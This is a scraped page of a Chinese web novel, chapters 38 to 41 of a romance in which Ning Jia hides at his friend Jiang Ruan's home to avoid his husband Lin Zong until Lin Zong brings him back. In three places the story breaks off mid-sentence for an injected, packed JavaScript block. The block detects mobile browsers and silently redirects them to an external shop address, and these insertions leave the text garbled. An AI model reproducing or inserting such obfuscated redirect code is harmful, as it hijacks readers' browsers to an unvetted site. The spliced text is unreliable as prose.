出租车司机听过太多八卦了,不由将视线转向两母子,从这样的别墅区接到一个有钱人,又听他们说那些旁人不知道的豪门恩怨,就很下晚上的饭。 “嘉嘉,叔叔也是没有办法,他找不到别人帮忙了,他只能找我了。” “两个人在一起不容易,你不要意气用事,你现在是太冲动了,生我的气,回去不要和小纵提离婚的事,会伤人心的。” 宁嘉有很多想说的话,和许诗瑶相依为命的那些年里让他习惯了依赖妈妈,和妈妈当朋友相处,他总是想和妈妈讲道理,说明原因,希望可以得到理解。 但他到现在才发现,自己的人生并不重要,许诗瑶不会理解。 所以算了。 还是算了。 许诗瑶打开门,在原地不能想要和宁嘉再说些什么,宁嘉没有看她,垂着眼:“我走了。” 不想等到许诗瑶的回答,也不想听到许诗瑶说别的话,宁嘉转身离开。 江软作为行动派说出柜就出柜,把他爹妈气得血压升高后,又把自己关在家里,谁都不搭理。 在床上躺了一天,也不吃饭,起来上个厕所,回来倒头就睡。 一整天了,手机在哪里,他还没有找过,反正也不重要,世界少了他还是依然日升月落,他江软又不是什么重要的人, 就这么自闭地躺了一天,自我厌弃又自我反省,难得脑子里想了多事,想到家里“遭贼”了都不知道。 大门被打开,房门再被打开,灯光点亮,江软像是妖怪在日光下化为原形,在床上来回翻滚,嗷嗷直叫。 宁嘉:“......” “江软。”宁嘉面无表情。 江软坐起来,叹了一口气:“嘉嘉。” 他眼睛红红的,不知道是受了什么委屈,宁嘉认识江软至今,就没见过对方这个样子,什么话都没能说出口:“你怎么了?” 江软朝宁嘉张开双手:“来,抱一个。” 宁嘉边走边吐槽:“先说好,我不搞基。” 江软把鼻涕擦宁嘉衣服上:“你怎么来了?” 宁嘉没回答:“你在家待了一天吗?” 江软点点头,哭诉:“我妈生我的气。” “......”宁嘉无语:“你出柜,喜欢男人,你妈生你气不是很正常吗?” 江软立马蹬鼻子上脸:“她也没说不行,让我改,没要把我送到精神病院去做电击,但是她生我的气。” “娇生惯养大的人就是幸福啊。”宁嘉感慨。 其实江软也觉得,但是毕竟他妈凶他了,长这么大都没有生过他气的人,说了重话,放脸色给他看,就很受伤。 被宁嘉几句话安慰好,才想到问:“你怎么来了?” 宁嘉来的太不同寻常了,自从和林纵结婚后,江软就是一件被宁嘉穿过的破衣服,说丢就丢了,哪里有大晚上一声不吭来找他的时候。 宁嘉问:“你吃饭了吗?” 江软说:“没有,我在惩罚我自己。” 宁嘉:“惩罚什么?” 江软:“虽然我妈生气,但是我不改。” “喜欢男人怎么改,对你以后的爱人不公平。” “是吧,”江软看向宁嘉,目光灼灼,一副看到同道中人的表情,“你懂是吧。” 宁嘉叹了口气,躺到江软床上:“叫个外卖吃吧,我也饿了。” 江软满血复活,担过点外卖的重任:“你还没说呢,你怎么过来了?” 宁嘉偏头,看着江软:“我想和林纵离婚。” 江软:“?你有病?” 这段时间的事情真的是说来话长,宁嘉一直没告诉江软,不知道怎么说,也觉得说不出口,等外卖的功夫,一股脑都说完了,自我回顾,自我感慨,顺便再可怜一下自己。 江软脸上露出了一言难尽的表情:“不是我说,我是真不知道你妈在想什么。” 宁嘉显然也有感悟:“我也是这么想的。” 他又顺便说了林少的事,新闻不难找,只是撤了热搜,但没有删除相关消息,毕竟不是明星,全国范围内,这些财阀家族发生的小事在娱乐圈的背景下显得那么无伤大雅。 江软接过手机,震惊:“他是疯了吗?” 宁嘉赞同:“我觉得他脑子有病,但我治不好他。” 然而眼下有比林少更需要解决的事情,江软问:“你晚上来我家是躲着林纵?” 宁嘉无言。 江软又问:“你告诉他没有,你不回家?” 宁嘉不说话。 江软无语了:“你也不能想和他结婚就结婚,想离婚就离婚,”他看着宁嘉,严肃道,“嘉嘉,不管林纵对你是什么想法,人心不能这样糟蹋的,你知道吧。” 宁家垂头丧气:“我知道。” “那你现在怎么想的?” 感情的事,江软也不知道该怎么问,作为宁嘉的朋友,他其实感觉得到宁嘉喜欢林纵,但宁嘉自己似乎是不知道,又或者不肯承认这件事的。 江软就不想说了,毕竟两人现在都要离婚了,如果单单只是感情的事还好说,偏偏掺和了那个没良心。 大不了一了百了,谁都不要好过,这样的想法,江软也是会有的。 宁嘉犹犹豫豫地说:“我在你这里住几天,等他接受不了,先和我提离婚。” 江软:“......你做梦!” 宁嘉差点被江软的唾沫星子淹了。 “什么年代了,你还搞冷暴力?渣男吗你!” “我真是惊了,虽然林纵没有什么好,但是嘉嘉,你不用做个人的吗?” “你都说自己和他提的结婚了,好聚好散不会说吗?” “可耻,实在是太可耻了!” 宁嘉被骂狠了,自己也生气:“那你说,该怎么办。” 江软怎么知道啊:“.....” 过了一会儿,两人冷静下来,宁嘉才慢慢说:“我是有钱,我爸死了之后有一笔赔偿金我一直没用,我妈让我找林纵借钱,却没有提起过这笔钱。” “刚刚送她回去的路上,我在想,不然就把我那笔钱借她好了,等到她意识到那笔钱拿不回来的时候,可能就会对吴良仁死心了。” “可是我又在想为什么啊,那是我爸的车祸赔偿金,我自己都舍不得用。” “也不是想说我爸有多好,也没有想给自己留个念想,但无论如何,也不应该给吴良仁这样的人糟蹋的。” 宁嘉很委屈,也不明白自己为什么会陷入这样的死局里。 江软说的那些话他都懂,也知道从头到尾最对不起的就是林纵。 但是能怎么办,许诗瑶不懂拒绝,如果林纵在,她永远会有理由和借口让林纵帮吴良仁的忙。 因为他们结婚了,是一家人,因为感情来之不易,不应该说分开就分开。 许诗瑶有那么多大道理可以讲,宁嘉却不会反驳,许诗瑶也不会听。 外卖来了,江软和宁嘉面对面坐着啃鸡腿,两人对视一眼,深深叹了口气。 “还有一个好办法。”江软满嘴流油,恶狠狠地咬了一口鸡腿。 宁嘉有气无力,一块肉在嘴里咀嚼半天:“什么?” 江软龇牙咧嘴,手掌横过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13528785|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脖颈:“杀了他。” 宁嘉:“......你能说点人话不。” 办法好像确实没有什么好办法,源头出在许诗瑶身上,那是宁嘉的妈,江软想,如果是朋友这么对宁嘉,估计宁嘉早就翻脸了,但问题是,宁嘉这会儿也处于对他妈翻脸的状态,只是,可是,血缘亲情断不了,闹脾气和断绝关系是两码事。 宁嘉也是受不了了,才出此下策,不知道为什么,江软竟然有点可怜林纵了。 “不过,林少那个事情,你打算怎么办?”江软也是奇了怪了,“听我爸说,林少的业务能力还是可以的,当然这其中林平生的栽培很重要,”打量着宁嘉的神色,“林纵有今天,都是他自己努力的结果。” 努力,这两个字出现在林纵身上显得很违和。 在宁嘉眼里,林纵好像是天生什么都会的人,可他竟然需要也努力,因为林平生偏心,没有人在意他。 宁嘉沉默了下来。 江软:“?” 宁嘉说:“有点想回家。” 江软:“哪个家?” 宁嘉:“我想学长了。” 江软真他妈脸都黑了:“我呸,狗情侣!” 宁嘉:“......” 晚上八点多,林纵回到家,阿姨出来热菜,解开腕处的纽扣,似是不经意地问:“宁嘉吃过了吗?” 阿姨惊讶:“还没回来呢。” 还以为宁嘉是有事才没回来,阿姨着急地问:“是不是出什么事了呀。” 林纵坐下吃饭,平淡道:“没和我说,我打电话问问。” 由于宁嘉情绪不佳,吃鸡把把被人爆头,好在江软回血成功,一次次带着垃圾队友进入总决赛。 江软这边心跳加速,即将吃鸡成功,宁嘉那头突然来电铃响,吓了他一跳:“操。” 宁嘉定睛一看,手机屏幕上“学长”两个大字,吓得他抖了个哆嗦,紧跟着一声:“操。” 真要形容,有一种大限将至的感觉,宁嘉说:“我好像在外面嫖.娼,突然接到正室电话,所以心虚的感觉。” 硬是把江软听笑了:“你把小爷当什么了。” 宁嘉笑着接了电话:“学长。” 林纵的声音平淡温和:“怎么没回家?” 宁嘉却突然紧张:“我在江软这里。” “嗯,”林纵问,“什么时候回来?” 宁嘉一鼓作气,紧闭双眼,仿佛林纵就在眼前,“我晚上不回来了。” 江软手一抖:“?” 林纵却只是问:“怎么了?” 宁嘉心脏扑通扑通跳,瞎说:“江软和家里出柜了,现在在家里要死要活,我得陪着他。” 但刺激战场的游戏音效根本没收,宁嘉听见了,林纵也听见了,他没拆穿:“好。” 宁嘉静了静。 林纵看着满桌没动过的菜,问:“吃过饭了吗?” “吃过了。”宁嘉说,垃圾袋还在角落里放着。 林纵又说:“好。” 宁嘉声音小小声,带着心虚:“那学长......” “挂了吧。”林纵淡淡道。 宁嘉心一横,把电话挂断了,回头就抱着江软叹气,惆怅,欲哭无泪:“你晚上和我一起睡觉不?” 江软悬着的心终于死了,被人一枪爆了头,很满意:“宁嘉,我先警告你,老子不和你搞基。” 宁嘉声音闷闷的:“和学长睡习惯了,一个人睡不着。” 江软突然反应过来:“卧槽,我一直以为直男的你和林纵会分房睡。” 宁嘉:“?” 江软丢开手机,死死抱住宁嘉:“你快说你快说,你们俩睡了没有?” 宁嘉挣扎着不说话,不知道憋着劲,还是被江软的话臊的,像是影片特效,突然红了脸。 江软晃他:“睡了没,睡了没?” 宁嘉:“......” 江软满嘴脏话:“操,为什么,你就这么弃我而去,不再是纯情小处男了?” “......” 39. 第 39 章 隔天,宁嘉再去公司,感受到了比前一天更多的注视,那些消息在闲言碎语里传播超过二十四小时后愈演愈烈,同个写字楼里那些陌生的并不认识宁嘉的人,这才反应过来,前天在大厅里那场闹剧到底是因为谁。 “林”这个姓,在予市的影响显然比网络上要大得多,他们似乎也没想到,另外一位当事人在事后还能堂而皇之地回来上班。 不知道什么时候开始,在发生了一件难堪的事情后,事件里遭受伤害变得糟糕的受害者好像失去了正大光明的活着的机会。 这很奇怪。 上班时间分散,宁嘉一个人来的公司,等电梯的时候身边有许多明目张胆打量的目光,有个看热闹不嫌事大的人,翻出网络上没被删除的视频问宁嘉:“这个人是你吗?” 宁嘉看神经病似的看着他。 那人没有收回好奇心,甚至往前递了递手机,追问:“是不是你啊?” 那天林少突然出现在公司,宁嘉是生气的,但这会儿,他却觉得烦躁,不明白这世上哪来这么多和林少一样不识相的人。 林少的挑衅至少是有理由,一开始因为林纵,后来因为宁嘉自己不肯服输。 宁嘉没什么能被人拿捏的把柄,来到予市,对他而言是新的开始,因为无所畏惧,所以勇往直前。 宁嘉不认命,但允许林少出现,这是等号两侧必要会出现的情况,他们之间是因果关系。 但是眼前这个人,宁嘉看不懂,也不明白。 早起喉咙干,肚子也饿,一口气鲠在喉中,向来也不是忍让的人,宁嘉笑了笑,抬眼直视着他:“对,你有什么意见?” 那人将手机收回口袋,学着宁嘉单手插兜,跟着笑笑:“哦,我就是好奇嘛,想知道是不是你,红颜祸水,蓝颜也祸水哦。” 电梯往上运送了许多人,下来的格外漫长,因为他们的对话,等电梯的人都静了,带着嬉笑的或是沉默地观看一场闹剧。 “是啊,像你这种嘴闲的丑八怪没人看得上。” 其实许诗瑶把宁嘉教的不差,尊老爱幼,见到再讨厌的人也不会冷着脸色,他与人为善,和谁相处都带着笑脸,除非把他惹急,否则没有难看的意思。 宁嘉都那么讨厌吴良仁了,也从来没有当面下他脸色。 可宁嘉从来不傻,他只是不惹事。 和不讲道理的人本身不需要讲道理,怎么打一个人会痛,他一直都知道。 那人被宁嘉一句话反驳,瞬间变了脸色,骂道:“勾三搭四,长得好看也不过是个卖屁股的。” 宁嘉便细数林家的家产:“我甚至不用勾搭这些东西也有我的份,你就不一样了,”他看着男人,友善地微笑,“你有一张滂臭的嘴。” 电梯门在这时正好打开,人流分开了争吵的两人,宁嘉进了电梯,那人留在了门外。 个别同事也在这群人里面,两人一块往公司的反向走,宁嘉才反应过来:“佩佩姐。” 宁嘉知道了,佩佩姐刚刚看到他无素质输出的全过程,可他连表情都没有变过,仿佛两人刚从外头吃完饭回来,碰巧遇上。 宁嘉放慢了脚步,佩佩姐走在他身侧,笑说:“今天火气挺大的。” “啊?”宁嘉一愣,“我也不能让人欺负我。” 他当然没觉得自己做错了什么。 佩佩姐笑说:“也不是,就觉得你好像不是很高兴。” 宁嘉反思:“真的吗?没有吧?” 佩佩姐说:“有啊,那天在楼下和人吵那么凶也没见你这样。” 宁嘉解释:“我认识林少,但刚才那个人就是神经病,我又不认识他。” 佩佩姐笑了下:“你想想呢,可能是哪里不太对,你今天确实和平时不太一样。” 黄佩佩今年三十二了,未婚,比宁嘉大了不少,这些年因为不肯结婚也见惯了世间冷暖,一个人什么脾气,应该是什么样,很多时候看一眼就知道了。 她没有高深莫测和宁嘉说什么大道理,只希望他调整状态不要影响上班,至于私人生活,每个人都有,有的只是在私底下不被旁人知晓,但糟糕都一样糟糕。 宁嘉于是有一点沮丧,没被刚刚的人影响到,因为佩佩姐一句话突然蔫了。 哪里不太对。 开电脑的功夫,宁嘉在那翻手机,准备和江软说道说道。 江软今天已经上班去了,原因在于他妈昨天晚上主动打来的电话,并且表示:“喜欢男人就喜欢男人,只要不是喜欢外星人,妈妈都能给你搞来!” 江软当时喝着小酒,有点醉了,泪眼朦胧,觉得人生累觉不爱,给他妈一句话干懵了:“啥意思啊?” 江妈妈说:“明天晚上去相亲,妈妈给你找了帅气的男孩子!” 江软两眼放光,怒饮一瓶酒,醉得不省人事,早上还是宁嘉把他拉起来了。 消息列表的人翻了翻,怎么都没法略过置顶的那个人,因为某天找林纵报备行程愣是大半天没在凌乱的列表里找到人,事后理所当然把林纵置顶了。 本来想找江软,视线里来来回回都是林纵,宁嘉关了手机,只觉得郁闷。 佩佩姐问他哪里有不一样,大概只有林纵不在不一样了。 江软今天心情大好,不想上班,只想早点到晚上。 手机铃声适时想起,点开屏幕,宁嘉发送消息:我想学长了。 宁嘉打开早上的工作,接到江软的回复:你是不是有病。 突然就舒坦了。 自己果然是有病。 午休的时候,几个同事讨论去附近商场吃饭:“外卖都吃腻了,出去吃点好的吧。” 同事看向宁嘉,多一个人,多A一份钱。 宁嘉没有意见,他今天没点外卖,林纵也一直没有联系他,本来打算中午不吃的,又或者饿了去泡个泡面买碗关东煮,既然同事有想法,那就一起去好了。 工作日商城人不多,五个人点了两份肉蟹煲,菜上的慢,几人同事喝着柠檬水闲聊。 和宁嘉一起来的还有一个男生,他们混在女生堆里,再热闹的性格也消停了不少。 话题不知道怎么提起的,聊到最近恋爱的对象,怎么认识的,磨合期又过得不太好。 一人一句,非要每个人都发表一下感言。 同事于是问起了宁嘉:“宁嘉,你和你学长是怎么在一起的啊?” “都是学长了,一个学校的人,肯定自然而然就在一起了啊,你问的什么。”另一个同事笑起来。 同事又问:“那是怎么认识的啊?” “都说是一个学校的了......” “一个学校那么多人哪有那么好在一起啊,你别拦着我八卦。” 宁嘉一句话没说,莫名其妙成为话题中心,哭笑不得:“大学的时候其实没怎么接触,学长大了我两届只有在部门里见过几次面。” “那你们怎么在一起的?!” 宁嘉说:“相亲。” 同事四人震惊:“年纪轻轻就要相亲?” “还是和男生?” “还是和那么有钱的。” “说来话长。”宁嘉笑了笑。 同事感叹:“相亲认识的感情还能这么好,真羡慕。” 宁嘉说:“你哪里看出来的?” 这就不得不提前天发生的事了,同事道:“虽说那个姓林的是个神经病,但是宁嘉你用魔法打败魔法的行为也实在是颠得很,我看你学长很配合的样子。” “......也没有很配合。”说起那天的事,宁嘉都觉得自己像个二百五。 林纵那样的行为配合算不上,只是宁嘉说什么他都没有掉链子,甚至跟着宁嘉,极其无奈地喊了声:“大哥。” 林纵说:“你放过我和嘉嘉吧。” 宁嘉说:“我和老公是真心相爱的。” 场面一下变得奇妙起来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13544139|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>只是真要说起两人之间的相处,就没有什么特别的,从大学到现在一直是这样,虽然也像正常恋人那样在外面吃饭看电影,但总是不一样的,因为他们不是真情侣。 每一次对视独处都没有应有的爱意滋生。 先上的是一份海鲜堡,香气扑鼻,五个饿死鬼一起上了筷子,有些东西不一定真的好吃,但和朋友一起共餐的时候,偏偏就有了以后找不到的美味。 “所以你们相亲,发现彼此都是基佬,有缘千里来相会,不结个婚都对不起自己?” 宁嘉心说我不是基佬,面上:“是啊,差不多吧。” “......” 这段时间里,宁嘉手机上接到的陌生号码堪比过去一年都多,十一位的长号在屏幕上闪烁,归属地在予市,宁嘉拧起了眉,这人谁? “怎么不接?”同事好奇看过来。 宁嘉说:“不知道谁。” 不知道是谁,但这个敏感的时间点打过来,肯定不是什么好人。 同事撩起不存在的袖子,豪迈道:“我来。” 宁嘉哭笑不得地接起电话:“你好。” 对方直接招呼上来:“我是林少。” 宁嘉:“?” 饭桌上几人目光灼灼地看着,宁嘉清了清嗓子,故意大声问:“林少?你有什么事?” 同事果然双眼发光。 “你什么时候辞职?”林少的脑回路正常人一向理解不了。 宁嘉问:“我为什么要辞职?” 林少说:“我在你公司闹那么一出,你还不嫌丢人?一天到晚在那乱晃,有意思吗你。” 宁嘉一直在事发地点晃悠,这件事就一直不能消失,林少只是想找宁嘉不痛快,也算是找到了,只要宁嘉辞职,林少也算是有所收获,这件事就算是过去了。 宁嘉却好脾气道:“没关系啊,我原谅你了。” 闹就闹呗,宁嘉能有什么损失,万众瞩目的感觉让他有一点不爽,但他一点都不觉得丢人。 宁嘉似乎是听不明白,林少加重语气:“我是让你辞职。” 宁嘉疑惑:“你让我辞职就辞职,你谁啊?哦我大哥,大哥你这样就不对了,得不到我的心还想要得到我的人,我是你弟弟的,人和心都是。” 同事:“......” 林少:“......” 林少最近有点烦的,宁嘉这个人油盐不进搞得他很被动,又不像做生意,接触到的人再不爽,表面上也会维持着平静,也不像林纵,这么多年始终无动于衷。 宁嘉像一只小疯狗,逮住他就咬,扯着他的皮肉不放,小狗是会疼的,但小狗不会松口。 身边有些人已经知道了林少做的闹剧,笑话他玩不过一只小狗,再闹下去林平生就该知道了。 该死的小狗。 晚上,宁嘉又去了江软家,江软上班一天回到家看到这位都有点犯怵,嘴角一抽:“你怎么还在这?” 宁嘉还没吃饭,正坐在客厅里发呆,不回家就不能看见林纵,也不能看见富贵,说的他很想待在江软这似的。 “我没地方去。” 只一句话,就把江软干趴下了。 啊,你都这么惨了,我还不欢迎你,是不是太过分了。 两人悠悠哉哉吃饭的时候,林纵的电话来了,语气温和如常:“还没回来吗?” 宁嘉心虚且怂地说:“江软还在抑郁呢。” 江软:“?” 是吗我? 林纵一直都很好说话,温柔,待人平和,这是宁嘉一直以来对他的印象,哪怕是毕业后再次相见,哪怕是他们之间发生了那么多事,彼此不再隔着山河遥遥相望,宁嘉还是这么觉得。 学长有他是学长的理由,他真的很好。 以至于第三天,宁嘉用同样的理由拒绝回家,却得知林纵要来抓他的消息时。 宁嘉是很震惊的。 啊? 40. 第 40 章 宁嘉不打算回家的第三天,江软在下班回家的路上接到一个电话。 来电人语气平铺直叙:“我是林纵。” 要不是在开车,江软腿都软了。 “学,学......学长好,” 林纵不在的时候,在宁嘉面前,江软一口一个林纵就很顺口,可“面对”林纵,江软很懂什么叫识时务者为俊杰,学长喊得也很顺溜。 林纵毕业后再也没当过什么学长,宁嘉喊他学长,他一件学长的事都没有做过,但江软喊他学长,他又拿出了学长的架势:“嗯。” 江软就慌得一批。 下班时间,林纵不知道在干吗,电话那头安安静静,在本人冷淡的发言的映衬下,江软出了身冷汗,却不敢讲话。 只听林纵问:“宁嘉说你心情不好?” 江软:“......” 狗东西,狗比东西,就知道宁嘉这狗比迟早要害他。 林纵这话什么意思? 与其问江软你心情不好,不如直接问,什么时候把宁嘉还回来。 这是江软想的吗! 他拦过了,表达了对宁嘉的嫌弃,然后呢!宁嘉卖惨,他卖的比江软都惨,江软又屈服了。 人家小两口的情趣江软为什么要参与。 事情到了这一步错的都是江软。 都是江软的错。 “抱歉,学长。”江软十分识时务,“我现在没有心情不好了,你来把嘉嘉接走吧,给他一个惊喜!” “知道了,”林纵没有情绪地说,“你让他不要吃晚饭。” 江软脑子突然抽了,说:“学长,家暴不行的!” “.......” 林纵把电话挂了。 予市夏季高温,雨少,阳光充足,太阳落山也晚,七点多,天还是亮的。 宁嘉又在客厅里发呆,脑瓜子一天到晚不知道在想什么,见江软开门进来,又立刻兴奋:“赶紧,我都饿了,晚上吃什么?” 坐地铁的比开车的回家快,这就算了,开车的还要被迫害。江软看到宁嘉这样又气不起来,借口都不知道该怎么找:“等等,我休息一下,现在不想看。” “行的。” 江软坐到宁嘉身边,宁嘉便把脑袋靠在他肩上,刷着手机,看着无关紧要的视频和新闻。 gay里gay气的,江软想说。 但他想,宁嘉都弯成蚊香了,还能说什么。 不久后,门铃响了,宁嘉脑袋敲敲江软:“开门。” 江软起身,冷笑,希望打开门以后,宁嘉还有这么从容。 “学长。”江软超级热情地说。 门后站着林纵,白衬衫,西装裤,修剪过的黑发垂在额前,其实就算不笑,林纵也是很年轻俊郎的长相,他就那么从半阖的门中渐渐露出整张脸,看得宁嘉心脏扑腾乱跳。 操。 要死了。 这是来杀我的。 宁嘉竟然很有觉悟。 磨磨蹭蹭从沙发上站起来,喊道:“学长。” 林纵淡淡的,也没打算进去捉人:“回家么?” “回回回,”宁嘉扭扭他的脑袋,狗头还在,小命也还在,连滚带爬赤脚跑到门口穿鞋子,抬头对林纵傻笑,“学长,好久不见。” 宁嘉在加速他的死期:“......” 林纵平静地看着他:“还好,一般久。” 也不是不能考虑,让江软直接把自己弄死。 车载音乐还是宁嘉喜欢的那几首,汽车里却异常安静,一路上无话,宁嘉不知道该说什么,偶尔,会想要询问宁嘉近况的林纵更是一声不吭,宁嘉有一点慌张。 回到家,进到屋内,走进属于他们的空间里,林纵才开口:“吃饭了吗?” 宁嘉走的比林纵慢一点,跟在身后,亦步亦趋,像个挂件,慢吞吞道:“还没有。” 林纵好像不是很在意,宁嘉拙劣的想要逃离他的行为,他不知道原因,也不打算体谅和理解宁嘉的理由:“我给你做。” 宁嘉张了张嘴,想调侃林纵竟然会下厨,半晌却只说:“好。” 林纵进了厨房,路过餐厅时宁嘉顺便搬了张椅子过去,就坐在岛台旁。 两人在家的机会很少,下厨更是从来没有过,就像宁嘉煮泡面的时候林纵会在,林纵仅有几次进厨房的时候也会要求宁嘉陪着。 林纵的白衬衫扎进西裤里,深灰色的围裙套在身上,时至今日,宁嘉已经没有“这样的穿着不适合林纵”的想法了。 他们离的太近了,彼此仅剩的那点体面都被撕开,平铺在眼前。 你看,我就这副吊样。 以至于此刻,宁嘉再看林纵,剩下的想法只有学长好帅,真的帅,下厨的认真的男人最帅。 林纵做的是菠萝炒饭,饭是昨天剩下的,因为宁嘉没有回来,菠萝、虾仁和其他东西是中午让阿姨临时买的。 林纵昨天就想过了,不管宁嘉今天想不想回来,他都会回来的。 林纵熟练地颠锅,让食材在锅里炒散,每一颗米饭上都站着清爽可口的味道。 油烟机呼呼得响,宁嘉想要和林纵说话,最后只能下巴抵着岛台,眼珠子跟着林纵的身影转来转去。 “学长,你厨艺还挺好的!”宁嘉吃着林纵做的饭,惊讶地说。 林纵淡淡地看着他:“很意外?” 宁嘉狗腿地点头,他有一段时间没有在林纵面前这么猥琐发育了,果真是一朝回到解放前:“很好吃,所以很意外。” 林纵几乎对宁嘉无话不说:“我很早之前就一个人住,基本都是点外卖,但有时候闲下来,也会想自己做点吃的。” 虽然做饭的次数少,但林纵的厨艺却不错,小时候跟着亲生母亲生活过一段时间,每一段饭都是妈妈亲手做的,那时候林纵也会陪妈妈做饭,他经常在边上看,好像就这么学会了做菜。 不过,林纵也会想,其实他没有那么聪明,只是妈妈的基因流传下来,让他天生就会做这些东西。 宁嘉舀着炒饭,吃的很开心,这是他最近几天吃过最好吃的东西了,嘴巴也不苦了,好像带着甜味。 “我妈做饭不太好吃,”宁嘉晃着脑袋,心情愉悦地说,“其实我爸做饭好点一点,但是他不经常做,好像就觉得做饭做家务都是女人的事情。” “但是我妈的厨艺就是不太好,这么多年也没有改进。”宁嘉想了想又说,“吴良仁做饭挺好吃的,但他前妻也没有因为这个原因就不和他离婚。” 说这些,宁嘉也不知道自己想表达什么,又说:“学长,我厨艺很差,好像和我妈一样。盐总是放很多,永远都很咸,我妈做菜还喜欢放汤,这个我改了,所以经常会粘锅。” 林纵沉默地看着他。 “吴良仁做菜喜欢放油,我吃过几次就不想吃了,”宁嘉喝了口海带汤,“我妈老是想把我们三个凑在一起,她喜欢吴良仁,也希望我喜欢吴良仁。” 宁嘉捞着碗里的饭,琢磨了一会儿,抬头,望向林纵:“每当那个时候我就会很想我爸,想那个把家产输光最后把自己命都搭进去的爸。我记不起他的不好,就是很想他,想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13552604|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的时候也想不到他的好,但可能他是我爸吧,所以我总是想他。” 宁嘉又把脑袋低下来,语气听着有些失落:“小时候我爸经常给我做蛋炒饭,家里有什么加什么,有时候加牛肉有时候加鱼饼,有时候就是蛋炒饭里加了点葱。” 宁嘉最近总是很频繁地想到他爸,可能因为被许诗瑶的感情困住了,想起吴良仁的时候不禁有了对比,觉得他那个赌鬼爸简直千般万般好。 以林纵贫瘠的人生来说,他很难安慰宁嘉什么,一个人生活的时候,因为太无趣了,才想着做饭打发时间,他其实也有会想起母亲的时候,但那段记忆离他太遥远了,陌生的像是上辈子的事情。 饭后宁嘉主动去了厨房洗碗,林纵在边上陪着,冷不丁问了声:“在江软家睡得舒服吗?” “......”宁嘉手一抖,砸碎了一个盘子。 简直快哭了:“......学长,” “怎么了?”林纵语气平淡地问。 宁嘉一梗,好一个怎么了,林纵不提他也不说:“碗被我砸碎了。” 好在只是碎成了两半,林纵把碎片拿出来扔进垃圾桶,宁嘉接着洗碗,又听林纵问:“你还没回答我的问题。” 林纵这是兴师问罪来了,因为江软一点都不忧郁,宁嘉不回家的理由站不住脚,有些事情他们从一开始就心知肚明,与其问宁嘉在江软家过得好不好,不如问他为什么不回家。 如果宁嘉想,也可以问林纵,他为什么要回家,可是问不出口。 没办法,宁嘉只好说:“不太舒服,睡不习惯,江软昨晚去相亲了,我一个人有点无聊。” 说起来江母也是神速,接受完儿子出柜的事实后,立马能给江软安排上相亲对象。 宁嘉很羡慕,因为羡慕,更抑郁了,在客厅里看了很久的电视,回房间又发了很久的呆。 晚上没什么事,两人也没打算出门,吃完饭就回了房间。 林纵洗完澡出来,宁嘉还坐在沙发上发呆。林纵只围了条浴巾,袒露胸肌,只看了一眼,宁嘉就忍不住摸了摸鼻子。 没事,没流鼻血,真是太好了。 “学长,你今天这么早休息啊?”宁嘉别有用心地挪开视线,讪讪道。 “不早,”林纵意有所指,“也没打算休息。” 宁嘉:“?” 林纵垂眼,居高临下地看着宁嘉,平静的眼神并没有带着侵略性:“你也去洗澡。” 宁嘉深咽一口口水:“......” 这话什么意思,宁嘉实在太懂了,几天前的晚上,他们之间好像也有这样的对话。 宁嘉傻了,不敢动。 林纵看了眼手机,说:“尽量快一点,时间宝贵。” 宁嘉:“......” 林纵挑了下眉。 宁嘉忽然跳起来,反应过来,头也不回往浴室里冲,浴室里有属于林纵的气息,宁嘉一下子红了脸,扒完衣服扒裤子,冷水往脑袋上一冲,半点醒神的作用都没有。 宁嘉抹了把脸:“操......” 宁嘉洗澡的速度很快,但林纵没有给宁嘉时间。泡沫还在身上没冲,浴室门被打开了,宁嘉仓促地转头过去,两只胳膊在着急地在身上捂来捂去,挡哪里都来不及。 “时间到了。”林纵是这样说的。 手掌握住宁嘉的脖子,拇指贴着喉结,轻轻按了按。 “嗯......” 宁嘉被堵住了嘴,再之后的记忆就变得模糊不清了。 像是浮浮沉沉,一场还不错的梦。 41. 第 41 章 宁嘉是第二天才知道的,林纵还给他们家富贵搭了个猫爬架。 昨晚回来的匆忙,脑子也乱,一碗菠萝炒饭把宁嘉CPU烧干了,稀里糊涂跟林纵上了楼。 说什么就是什么,在浴室洗了澡又在里面待了好久,战地挪到床上的原因是宁嘉站不住了。 房间门推开,宁嘉看到富贵这即将要变成小太监的臭猫猫仗人势的模样,屁股对着宁嘉,开心地房间里蹦了好几圈。 这不是宁嘉在岩市那边买的,一根直上去的仙人掌似的小架子,是围着墙绕了一圈高低都有的木板,甚至还有几个太空舱形状的猫窝。 这些是宁嘉曾经想过,但是不敢搭在出租房里的东西,也是宁嘉瞅瞅钱包,最后没能舍得买的架子。 阿姨也喜欢富贵,家里没有人的时候,陪富贵最长时间的反而是阿姨。 